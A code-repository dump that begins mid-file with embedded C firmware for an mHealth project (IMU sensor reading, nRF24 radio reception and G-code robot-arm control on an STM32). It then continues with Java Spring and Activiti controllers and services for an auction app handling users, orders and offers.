}else{
returnString += (val);
}
return returnString;
}
void printScaledAGMT( ICM_20948_AGMT_t agmt){
SERIAL_PORT.print("Scaled. Acc (mg) [ ");
printFormattedFloat( myICM.accX(), 5, 2 );
icm_data[0] = parseFormattedFloat( myICM.accX(), 5, 2 );
SERIAL_PORT.print(", ");
printFormattedFloat( myICM.accY(), 5, 2 );
icm_data[1] = parseFormattedFloat( myICM.accY(), 5, 2 );
SERIAL_PORT.print(", ");
printFormattedFloat( myICM.accZ(), 5, 2 );
icm_data[2] = parseFormattedFloat( myICM.accZ(), 5, 2 );
SERIAL_PORT.print(" ], Gyr (DPS) [ ");
printFormattedFloat( myICM.gyrX(), 5, 2 );
icm_data[3] = parseFormattedFloat( myICM.gyrX(), 5, 2 );
SERIAL_PORT.print(", ");
printFormattedFloat( myICM.gyrY(), 5, 2 );
icm_data[4] = parseFormattedFloat( myICM.gyrY(), 5, 2 );
SERIAL_PORT.print(", ");
printFormattedFloat( myICM.gyrZ(), 5, 2 );
icm_data[5] = parseFormattedFloat( myICM.gyrZ(), 5, 2 );
SERIAL_PORT.print(" ], Mag (uT) [ ");
printFormattedFloat( myICM.magX(), 5, 2 );
SERIAL_PORT.print(", ");
printFormattedFloat( myICM.magY(), 5, 2 );
SERIAL_PORT.print(", ");
printFormattedFloat( myICM.magZ(), 5, 2 );
SERIAL_PORT.print(" ], Tmp (C) [ ");
printFormattedFloat( myICM.temp(), 5, 2 );
icm_data[6] = parseFormattedFloat( myICM.temp(), 5, 2 );
SERIAL_PORT.print(" ]");
SERIAL_PORT.println();
}
#else // ENABLE_SOFTWARE_SPI_CLASS
#error ENABLE_SOFTWARE_SPI_CLASS must be set non-zero in SdFat/SdFatConfig.h
#endif //ENABLE_SOFTWARE_SPI_CLASS
<file_sep>/Main-mHealth_Rev2/Inc/ICM_20948.h
#ifndef ICM20948
#define ICM20948
#include "string.h"
#include "stdbool.h"
#include <stdio.h>
SPI_HandleTypeDef hspi2;
UART_HandleTypeDef huart2;
#define SPI_BUS &hspi2
#define UART_BUS &huart2
int16_t accel_data[3];
int16_t gyro_data[3];
int16_t mag_data[3];
#define USER_BANK_SEL (0x7F)
#define USER_BANK_0 (0x00)
#define USER_BANK_1 (0x10)
#define USER_BANK_2 (0x20)
#define USER_BANK_3 (0x30)
#define PWR_MGMT_1 (0x06)
#define PWR_MGMT_2 (0x07)
#define GYRO_CONFIG_1 (0x01)
#define CLK_BEST_AVAIL (0x01)
#define GYRO_RATE_250 (0x00)
#define GYRO_RATE_500 (0x01)
#define GYRO_LPF_17HZ (0x29)
void ICM_PowerOn();
uint8_t ICM_WHOAMI(void);
void ICM_SelectBank(uint8_t bank);
void ICM_ReadAccelGyro(void);
void ICM_ReadMag(int16_t magn[3]);
uint16_t ICM_Initialize(void);
void ICM_SelectBank(uint8_t bank);
void ICM_Disable_I2C(void);
void ICM_CSHigh(void);
void ICM_CSLow(void);
void ICM_SetClock(uint8_t clk);
void ICM_AccelGyroOff(void);
void ICM_AccelGyroOn(void);
void ICM_SetGyroRateLPF(uint8_t rate, uint8_t lpf);
void ICM_SetGyroLPF(uint8_t lpf);
void ICM_init(void);
bool ICM_deviceCheck(void);
void ICM_readAddress(uint8_t address, uint8_t size);
void test_accel(void);
#endif
<file_sep>/README.md
# mhealth-dev
<file_sep>/USB-mHealth/Src/main.c
/* USER CODE BEGIN Header */
/**
******************************************************************************
* @file : main.c
* @brief : Main program body
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2019 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
/* USER CODE END Header */
/* Includes ------------------------------------------------------------------*/
#include "main.h"
#include "usb_device.h"
/* Private includes ----------------------------------------------------------*/
/* USER CODE BEGIN Includes */
#include "MY_NRF24.h"
/* USER CODE END Includes */
/* Private typedef -----------------------------------------------------------*/
/* USER CODE BEGIN PTD */
void moveArm(int16_t accel[3], int16_t gyro[3], int16_t mag[3]);
/* USER CODE END PTD */
/* Private define ------------------------------------------------------------*/
/* USER CODE BEGIN PD */
uint64_t RxpipeAddrs = 0x11223344AA;
int16_t rx_buffer[10];
int16_t accel[3];
int16_t gyro[3];
int16_t mag[3];
int16_t ppg;
char myAckPayload[32] = "Ack by ST32F103";
char uart_buffer[100];
char usbBuffer[100];
float posS = 100;
float posR = 90;
float posH = 50;
uint8_t rate = 25;
int16_t posR1 = 0;
int16_t posS1 = 0;
int16_t posH1 = 0;
int8_t n = 0;
uint8_t x = 0;
/* USER CODE END PD */
/* Private macro -------------------------------------------------------------*/
/* USER CODE BEGIN PM */
/* USER CODE END PM */
/* Private variables ---------------------------------------------------------*/
SPI_HandleTypeDef hspi1;
UART_HandleTypeDef huart1;
/* USER CODE BEGIN PV */
extern USBD_HandleTypeDef hUsbDeviceFS;
/* USER CODE END PV */
/* Private function prototypes -----------------------------------------------*/
void SystemClock_Config(void);
static void MX_GPIO_Init(void);
static void MX_SPI1_Init(void);
static void MX_USART1_UART_Init(void);
/* USER CODE BEGIN PFP */
/* USER CODE END PFP */
/* Private user code ---------------------------------------------------------*/
/* USER CODE BEGIN 0 */
/* USER CODE END 0 */
/**
* @brief The application entry point.
* @retval int
*/
int main(void)
{
/* USER CODE BEGIN 1 */
/* USER CODE END 1 */
/* MCU Configuration--------------------------------------------------------*/
/* Reset of all peripherals, Initializes the Flash interface and the Systick. */
HAL_Init();
/* USER CODE BEGIN Init */
/* USER CODE END Init */
/* Configure the system clock */
SystemClock_Config();
/* USER CODE
* BEGIN SysInit */
/* USER CODE END SysInit */
/* Initialize all configured peripherals */
MX_GPIO_Init();
MX_SPI1_Init();
MX_USART1_UART_Init();
MX_USB_DEVICE_Init();
/* USER CODE BEGIN 2 */
NRF24_begin(CSN_Pin_GPIO_Port, CSN_Pin_Pin, CE_Pin_Pin, hspi1);
nrf24_DebugUART_Init(huart1);
//**** TRANSMIT - ACK ****//
NRF24_setAutoAck(true);
NRF24_setChannel(52);
NRF24_setPayloadSize(32);
NRF24_openReadingPipe(1, RxpipeAddrs);
NRF24_enableDynamicPayloads();
NRF24_enableAckPayload();
NRF24_startListening();
printRadioSettings();
sprintf(uart_buffer, "G2201 S%i R%i H%i F1000000\r\n", 300, 90, 100);
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
/* USER CODE END 2 */
/* Infinite loop */
/* USER CODE BEGIN WHILE */
while (1)
{
if(NRF24_available())
{
NRF24_read(rx_buffer, sizeof(rx_buffer));
// HAL_UART_Transmit(&huart1, rx_buffer, sizeof(rx_buffer), 10);
memcpy(accel, rx_buffer, sizeof(accel));
memcpy(gyro, &rx_buffer[3], sizeof(gyro));
memcpy(mag, &rx_buffer[6], sizeof(mag));
// ppg = rx_buffer[9];
// sprintf(uart_buffer, "\1(Ax: %i, Ay: %i, Az: %i)\t(Gx: %i, Gy: %i, Gz: %i)\t(Mx: %i, My: %i, Mz: %i)\n\r",
// accel[0], accel[1], accel[2],
// gyro[0], gyro[1], gyro[2],
// mag[0], mag[1], mag[2]);
// HAL_UART_Transmit(&huart1, uart_buffer, sizeof(uart_buffer), 10);
moveArm(accel, gyro, mag);
// sprintf(usbBuffer, "\1%i,%i,%i|%i,%i,%i|%i,%i,%i|%i",
// accel_x, accel_y, accel_z,
// gyro_x, gyro_y, gyro_z,
// mag_x, mag_y, mag_z, ppg);
// USBD_CUSTOM_HID_SendReport(&hUsbDeviceFS, rx_buffer, 64);
/* USER CODE END WHILE */
/* USER CODE BEGIN 3 */
}
}
/* USER CODE END 3 */
}
void moveArm(int16_t accel[3], int16_t gyro[3], int16_t mag[3]){
//ICM_20948_AGMT_t agmt;
float accx = accel[0];
float accy = accel[1];
float accz = accel[2];
float gyrx = gyro[0];
float gyry = gyro[1];
float gyrz = gyro[2];
float magx = mag[0];
float magy = mag[1];
float magz = mag[2];
posR=posR+gyrz*rate/250;
//int iposR = round(posR);
if (posR>180){
posR = 180;
}else if (posR<0){
posR = 0;
}
posS= 300 - accx * 0.8;
//int iposS = round(posS);
if (posS>300){
posS = 300;
}else if (posS<10){
posS = 10;
}
posR1=posR;
posS1=posS1+posS;
n=n+1;
if (n==5){
posS1=posS1/6;
posH1=posH1/6;
int16_t iposR = round(posR1);
int16_t iposS = round(posS1);
int16_t iposH = 100;
sprintf(uart_buffer, "G2201 S%i R%i H%i F1000000\r\n", iposS, iposR, iposH);
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(50);
n=0;
if (iposR < 52 && iposR > 38 && iposS < 250 && iposS > 200 && x == 0){
sprintf(uart_buffer, "G2201 S225 R45 H45 F10000\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(2000);
sprintf(uart_buffer, "G2201 S225 R45 H30 F10000\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(2000);
sprintf(uart_buffer, "M2231 V1\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(500);
sprintf(uart_buffer, "G2201 S%i R%i H%i F1000000\r\n", iposS, iposR, iposH);
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(500);
x = 1;
}
if (iposR < 142 && iposR > 128 && iposS < 200 && iposS > 150 && x== 1){
sprintf(uart_buffer, "G2201 S175 R135 H45 F10000\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(2000);
sprintf(uart_buffer, "G2201 S175 R135 H30 F10000\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(2000);
sprintf(uart_buffer, "M2231 V0\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(500);
sprintf(uart_buffer, "G2201 S%i R%i H%i F1000000\r\n", iposS, iposR, iposH);
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(500);
x = 2;
posS = 100;
posR = 90;
posH = 50;
posR1 = 0;
posS1 = 0;
posH1 = 0;
sprintf(uart_buffer, "G2201 S%i R%i H%i F1000000\r\n", 300, 90, 100);
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
}
if (iposR < 142 && iposR > 128 && iposS < 200 && iposS > 150 && x== 2){
sprintf(uart_buffer, "G2201 S175 R135 H45 F10000\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(2000);
sprintf(uart_buffer, "G2201 S175 R135 H30 F10000\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(2000);
sprintf(uart_buffer, "M2231 V1\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(500);
sprintf(uart_buffer, "G2201 S%i R%i H%i F1000000\r\n", iposS, iposR, iposH);
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(500);
x = 3;
}
if (iposR < 52 && iposR > 38 && iposS < 250 && iposS > 200 && x == 3){
sprintf(uart_buffer, "G2201 S225 R45 H45 F10000\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(2000);
sprintf(uart_buffer, "G2201 S225 R45 H30 F10000\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(2000);
sprintf(uart_buffer, "M2231 V0\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(500);
sprintf(uart_buffer, "G2201 S%i R%i H%i F1000000\r\n", iposS, iposR, iposH);
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(500);
x = 4;
}
}
}
/**
* @brief System Clock Configuration
* @retval None
*/
void SystemClock_Config(void)
{
RCC_OscInitTypeDef RCC_OscInitStruct = {0};
RCC_ClkInitTypeDef RCC_ClkInitStruct = {0};
RCC_PeriphCLKInitTypeDef PeriphClkInit = {0};
/** Initializes the CPU, AHB and APB busses clocks
*/
RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_HSE;
RCC_OscInitStruct.HSEState = RCC_HSE_ON;
RCC_OscInitStruct.HSEPredivValue = RCC_HSE_PREDIV_DIV1;
RCC_OscInitStruct.HSIState = RCC_HSI_ON;
RCC_OscInitStruct.PLL.PLLState = RCC_PLL_ON;
RCC_OscInitStruct.PLL.PLLSource = RCC_PLLSOURCE_HSE;
RCC_OscInitStruct.PLL.PLLMUL = RCC_PLL_MUL9;
if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK)
{
Error_Handler();
}
/** Initializes the CPU, AHB and APB busses clocks
*/
RCC_ClkInitStruct.ClockType = RCC_CLOCKTYPE_HCLK|RCC_CLOCKTYPE_SYSCLK
|RCC_CLOCKTYPE_PCLK1|RCC_CLOCKTYPE_PCLK2;
RCC_ClkInitStruct.SYSCLKSource = RCC_SYSCLKSOURCE_PLLCLK;
RCC_ClkInitStruct.AHBCLKDivider = RCC_SYSCLK_DIV1;
RCC_ClkInitStruct.APB1CLKDivider = RCC_HCLK_DIV2;
RCC_ClkInitStruct.APB2CLKDivider = RCC_HCLK_DIV1;
if (HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_2) != HAL_OK)
{
Error_Handler();
}
PeriphClkInit.PeriphClockSelection = RCC_PERIPHCLK_USB;
PeriphClkInit.UsbClockSelection = RCC_USBCLKSOURCE_PLL_DIV1_5;
if (HAL_RCCEx_PeriphCLKConfig(&PeriphClkInit) != HAL_OK)
{
Error_Handler();
}
}
/**
* @brief SPI1 Initialization Function
* @param None
* @retval None
*/
static void MX_SPI1_Init(void)
{
/* USER CODE BEGIN SPI1_Init 0 */
/* USER CODE END SPI1_Init 0 */
/* USER CODE BEGIN SPI1_Init 1 */
/* USER CODE END SPI1_Init 1 */
/* SPI1 parameter configuration*/
hspi1.Instance = SPI1;
hspi1.Init.Mode = SPI_MODE_MASTER;
hspi1.Init.Direction = SPI_DIRECTION_2LINES;
hspi1.Init.DataSize = SPI_DATASIZE_8BIT;
hspi1.Init.CLKPolarity = SPI_POLARITY_LOW;
hspi1.Init.CLKPhase = SPI_PHASE_1EDGE;
hspi1.Init.NSS = SPI_NSS_SOFT;
hspi1.Init.BaudRatePrescaler = SPI_BAUDRATEPRESCALER_8;
hspi1.Init.FirstBit = SPI_FIRSTBIT_MSB;
hspi1.Init.TIMode = SPI_TIMODE_DISABLE;
hspi1.Init.CRCCalculation = SPI_CRCCALCULATION_DISABLE;
hspi1.Init.CRCPolynomial = 10;
if (HAL_SPI_Init(&hspi1) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN SPI1_Init 2 */
/* USER CODE END SPI1_Init 2 */
}
/**
* @brief USART1 Initialization Function
* @param None
* @retval None
*/
static void MX_USART1_UART_Init(void)
{
/* USER CODE BEGIN USART1_Init 0 */
/* USER CODE END USART1_Init 0 */
/* USER CODE BEGIN USART1_Init 1 */
/* USER CODE END USART1_Init 1 */
huart1.Instance = USART1;
huart1.Init.BaudRate = 115200;
huart1.Init.WordLength = UART_WORDLENGTH_8B;
huart1.Init.StopBits = UART_STOPBITS_1;
huart1.Init.Parity = UART_PARITY_NONE;
huart1.Init.Mode = UART_MODE_TX_RX;
huart1.Init.HwFlowCtl = UART_HWCONTROL_NONE;
huart1.Init.OverSampling = UART_OVERSAMPLING_16;
if (HAL_UART_Init(&huart1) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN USART1_Init 2 */
/* USER CODE END USART1_Init 2 */
}
/**
* @brief GPIO Initialization Function
* @param None
* @retval None
*/
static void MX_GPIO_Init(void)
{
GPIO_InitTypeDef GPIO_InitStruct = {0};
/* GPIO Ports Clock Enable */
__HAL_RCC_GPIOD_CLK_ENABLE();
__HAL_RCC_GPIOA_CLK_ENABLE();
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(GPIOA, CE_Pin_Pin|CSN_Pin_Pin, GPIO_PIN_RESET);
/*Configure GPIO pins : CE_Pin_Pin CSN_Pin_Pin */
GPIO_InitStruct.Pin = CE_Pin_Pin|CSN_Pin_Pin;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(GPIOA, &GPIO_InitStruct);
}
/* USER CODE BEGIN 4 */
/* USER CODE END 4 */
/**
* @brief This function is executed in case of error occurrence.
* @retval None
*/
void Error_Handler(void)
{
/* USER CODE BEGIN Error_Handler_Debug */
/* User can add his own implementation to report the HAL error return state */
/* USER CODE END Error_Handler_Debug */
}
#ifdef USE_FULL_ASSERT
/**
* @brief Reports the name of the source file and the source line number
* where the assert_param error has occurred.
* @param file: pointer to the source file name
* @param line: assert_param error line source number
* @retval None
*/
void assert_failed(uint8_t *file, uint32_t line)
{
/* USER CODE BEGIN 6 */
/* User can add his own implementation to report the file name and line number,
tex: printf("Wrong parameters value: file %s on line %d\r\n", file, line) */
/* USER CODE END 6 */
}
#endif /* USE_FULL_ASSERT */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
| 59b9b0da242ddc28b176d4e4266320964d5aef85 | [
"C#",
"C",
"C++",
"Markdown"
] | 11 | C | bernardlee99/mhealth-dev | 61e2d69841242035a1161e9d1b56f4e1ecd2d20c | 9f40eedebe1ac28f746784e93dfa73283bcfc57a |
refs/heads/master | <repo_name>daniloacim/test<file_sep>/auction/src/main/java/com/upp/auction/user/UserController.java
package com.upp.auction.user;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.activiti.engine.FormService;
import org.activiti.engine.RepositoryService;
import org.activiti.engine.RuntimeService;
import org.activiti.engine.TaskService;
import org.activiti.engine.task.Task;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContext;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.upp.auction.category.CategoryService;
import com.upp.auction.firm.Firm;
import com.upp.auction.offer.Offer;
import com.upp.auction.order.OrderS;
import com.upp.auction.order.OrderService;
import com.upp.auction.response.UserTaskResponse;
@RestController
@RequestMapping(value = "/users")
@CrossOrigin(origins = "http://localhost:4200")
public class UserController {
@Autowired
RuntimeService runtimeService;
@Autowired
TaskService taskService;
@Autowired
RepositoryService repositoryService;
@Autowired
FormService formService;
@Autowired
OrderService orderService;
@Autowired
CategoryService categoryService;
@Autowired
UserService userService;
@PreAuthorize("hasRole('ROLE_USER')")
@GetMapping
public ResponseEntity<Map<String, UserTaskResponse>> getUserTasks() {
SecurityContext context = SecurityContextHolder.getContext();
Authentication authentication = context.getAuthentication();
User user = userService.findOneByUsername(authentication.getName());
List<Task> taskList = taskService.createTaskQuery().taskAssignee(user.getUsername()).list();
Map<String, UserTaskResponse> result = createResponseMap(taskList);
// Map<String,Object> variables =
// runtimeService.getVariables(taskList.get(0).getProcessInstanceId());
return new ResponseEntity<>(result, HttpStatus.OK);
}
@PreAuthorize("hasRole('ROLE_USER')")
@PostMapping("/{taskId}")
public ResponseEntity<Map<String, UserTaskResponse>> save(@PathVariable String taskId,@RequestBody Map<String,String> data){
SecurityContext context = SecurityContextHolder.getContext();
Authentication authentication = context.getAuthentication();
User user = userService.findOneByUsername(authentication.getName());
formService.submitTaskFormData(taskId, data);
List<Task> taskList = taskService.createTaskQuery().taskAssignee(user.getUsername()).list();
Map<String, UserTaskResponse> result = createResponseMap(taskList);
return new ResponseEntity<>(result, HttpStatus.OK);
}
private Map<String, UserTaskResponse> createResponseMap(List<Task> taskList) {
Map<String, UserTaskResponse> result = new HashMap<String, UserTaskResponse>();
for (Task t : taskList) {
Map<String, Object> variables = runtimeService.getVariables(t.getProcessInstanceId());
OrderS order = (OrderS) variables.get("order");
String additionalInfo = (String) variables.get("additionalInfoResponse");
Firm firmAdditionalInfo = (Firm) variables.get("firmAdditionalInfo");
@SuppressWarnings("unchecked")
List<Offer> offers =(List<Offer>) variables.get("offers");
UserTaskResponse response = new UserTaskResponse(t.getName(), order.getDescription(), offers.size(), order.getOffersLimit(), order.getServiceDeadline(), order.getOffersDeadline(),additionalInfo);
if(firmAdditionalInfo != null)
response.setFirmAdditionalInfo(firmAdditionalInfo.getName());
result.put(t.getId(), response);
}
return result;
}
}
<file_sep>/auction/src/main/java/com/upp/auction/order/OrderController.java
package com.upp.auction.order;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.activiti.engine.FormService;
import org.activiti.engine.RepositoryService;
import org.activiti.engine.RuntimeService;
import org.activiti.engine.TaskService;
import org.activiti.engine.repository.ProcessDefinition;
import org.activiti.engine.task.Task;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.upp.auction.category.CategoryService;
import com.upp.auction.requests.OrderRequest;
import com.upp.auction.user.UserService;
@RestController
@CrossOrigin(origins = "http://localhost:4200")
@RequestMapping("/order")
public class OrderController{
@Autowired
RuntimeService runtimeService;
@Autowired
TaskService taskService;
@Autowired
RepositoryService repositoryService;
@Autowired
FormService formService;
@Autowired
OrderService orderService;
@Autowired
CategoryService categoryService;
@Autowired
UserService userService;
@PostMapping
@PreAuthorize("hasRole('ROLE_USER')")
public ResponseEntity<String> createRequest(@RequestBody OrderRequest request){
ProcessDefinition processDefiniton = repositoryService.createProcessDefinitionQuery().processDefinitionKey("myProcess").latestVersion().singleResult();
Map<String,String> map = createMap(request);
formService.submitStartFormData(processDefiniton.getId(), map);
System.out.println("SUCCESS");
return new ResponseEntity<String>("TEXT",HttpStatus.CREATED);
}
@GetMapping(value="/acceptLess")
public void acceptLess(@RequestParam String processInstance, @RequestParam String processDefinition,@RequestParam Boolean answer) {
System.out.println("Definition id: " + processInstance);
System.out.println("Instance id: " + processDefinition);
System.out.println("Answer: " + answer.toString());
Task task = taskService.createTaskQuery()
.processDefinitionId(processDefinition)
.processInstanceId(processInstance)
.singleResult();
Map<String,String> map = new HashMap <String, String>();
map.put("answer",answer.toString());
formService.submitTaskFormData(task.getId(), map);
System.out.println("Task name: " + task.getName());
}
private Map<String,String> createMap(OrderRequest request){
ObjectMapper mapper = new ObjectMapper();
@SuppressWarnings("unchecked")
Map<String, Object> map = mapper.convertValue(request, Map.class);
Map<String, String> stringMap = new HashMap<String, String>();
for(String strKey: map.keySet())
{
if(strKey.equals("serviceDeadline") || strKey.equals("offersDeadline")) {
DateFormat formatter = new SimpleDateFormat("dd/MM/yyyy hh:mm:ss.SSS");
Calendar calendar = Calendar.getInstance();
calendar.setTimeInMillis(Long.valueOf((Long) map.get(strKey)));
map.put(strKey, formatter.format(calendar.getTime()));
}
stringMap.put(strKey, String.valueOf(map.get(strKey)));
}
return stringMap;
}
/*@GetMapping("/test")
public Map<String,String> getTasks(){
String username = "pasa";
List<Task> taskList = taskService.createTaskQuery().taskAssignee(username).list();
Map<String,Object> variables = runtimeService.getVariables(taskList.get(0).getProcessInstanceId());
return new HashMap<>();
}*/
}
<file_sep>/auction/src/main/java/com/upp/auction/category/CategoryServiceImpl.java
package com.upp.auction.category;
import java.util.List;
import javax.transaction.Transactional;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
@Transactional
public class CategoryServiceImpl implements CategoryService {
@Autowired
private CategoryRepository repository;
@Override
public Category findOne(Long id) {
// TODO Auto-generated method stub
return repository.findOne(id);
}
@Override
public Category save(Category cat) {
// TODO Auto-generated method stub
return repository.save(cat);
}
@Override
public void delete(Long id) {
// TODO Auto-generated method stub
repository.delete(id);
}
@Override
public List<Category> findAll() {
// TODO Auto-generated method stub
return (List<Category>) repository.findAll();
}
}
<file_sep>/auction/src/main/java/com/upp/auction/offer/OfferController.java
package com.upp.auction.offer;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.activiti.engine.FormService;
import org.activiti.engine.RepositoryService;
import org.activiti.engine.RuntimeService;
import org.activiti.engine.TaskService;
import org.activiti.engine.task.Task;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContext;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.upp.auction.category.CategoryService;
import com.upp.auction.order.OrderS;
import com.upp.auction.order.OrderService;
import com.upp.auction.response.OrderResponse;
import com.upp.auction.user.User;
import com.upp.auction.user.UserService;
@RestController
@CrossOrigin(origins = "http://localhost:4200")
@RequestMapping("/offers")
public class OfferController {
@Autowired
RuntimeService runtimeService;
@Autowired
TaskService taskService;
@Autowired
RepositoryService repositoryService;
@Autowired
FormService formService;
@Autowired
OrderService orderService;
@Autowired
CategoryService categoryService;
@Autowired
UserService userService;
@PreAuthorize("hasRole('ROLE_FIRM')")
@PostMapping("/{taskId}")
public Map<String,OrderResponse> save(@PathVariable String taskId,@RequestBody Map<String,String> data){
System.out.println(taskId);
formService.submitTaskFormData(taskId, data);
return createMap();
}
@SuppressWarnings("unchecked")
@PreAuthorize("hasRole('ROLE_USER')")
@GetMapping("/{taskId}")
public List<Offer> getByInstance(@PathVariable String taskId){
Task task = taskService.createTaskQuery().taskId(taskId).singleResult();
Map<String,Object> variables = runtimeService.getVariables(task.getProcessInstanceId());
List<Offer> offers =(List<Offer>) variables.get("offers");
return offers;
}
public Map<String,OrderResponse> createMap() {
Map<String,OrderResponse> result = new HashMap<String,OrderResponse>();
SecurityContext context = SecurityContextHolder.getContext();
Authentication authentication = context.getAuthentication();
User user = userService.findOneByUsername(authentication.getName());
List<Task> taskList = taskService.createTaskQuery().taskAssignee(user.getUsername()).list();
for(Task t : taskList) {
Map<String,Object> variables = runtimeService.getVariables(t.getProcessInstanceId());
OrderS order = (OrderS) variables.get("order");
String firmAdditionalInfo = (String) variables.get("additionalInfo");
Long rang = (Long) variables.get("range");
OrderResponse response = new OrderResponse(order.getId(), order.getCategory().getId(), order.getDescription(), order.getEstimatedValue(), order.getOffersDeadline(),
order.getOffersLimit(), order.getServiceDeadline(),order.getUser().getFirstName(),order.getUser().getLastName(),t.getName(),firmAdditionalInfo,rang);
result.put(t.getId(), response);
}
return result;
}
}
<file_sep>/auction/src/main/java/com/upp/auction/order/OrderS.java
package com.upp.auction.order;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.ManyToMany;
import javax.persistence.ManyToOne;
import com.fasterxml.jackson.annotation.JsonIgnore;
import com.upp.auction.category.Category;
import com.upp.auction.firm.Firm;
import com.upp.auction.user.User;
@Entity
public class OrderS implements Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
@Id
@GeneratedValue
private Long id;
@ManyToOne
private Category category;
private String description;
private Long estimatedValue;
private Date offersDeadline;
private Long offersLimit;
private Date serviceDeadline;
@JsonIgnore
@ManyToMany(mappedBy = "orders")
private List<Firm> firms;
@ManyToOne
private User user;
public OrderS(Category category2, String description2, Long estimatedValue2, Date offersDeadline2,
Long offersLimit2, Date serviceDeadline2) {
this.category = category2;
this.description = description2;
this.estimatedValue = estimatedValue2;
this.offersDeadline = offersDeadline2;
this.offersLimit = offersLimit2;
this.serviceDeadline = serviceDeadline2;
}
public OrderS() {
super();
this.firms = new ArrayList<>();
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public Category getCategory() {
return category;
}
public void setCategory(Category category) {
this.category = category;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public Long getEstimatedValue() {
return estimatedValue;
}
public void setEstimatedValue(Long estimatedValue) {
this.estimatedValue = estimatedValue;
}
public Date getOffersDeadline() {
return offersDeadline;
}
public void setOffersDeadline(Date offersDeadline) {
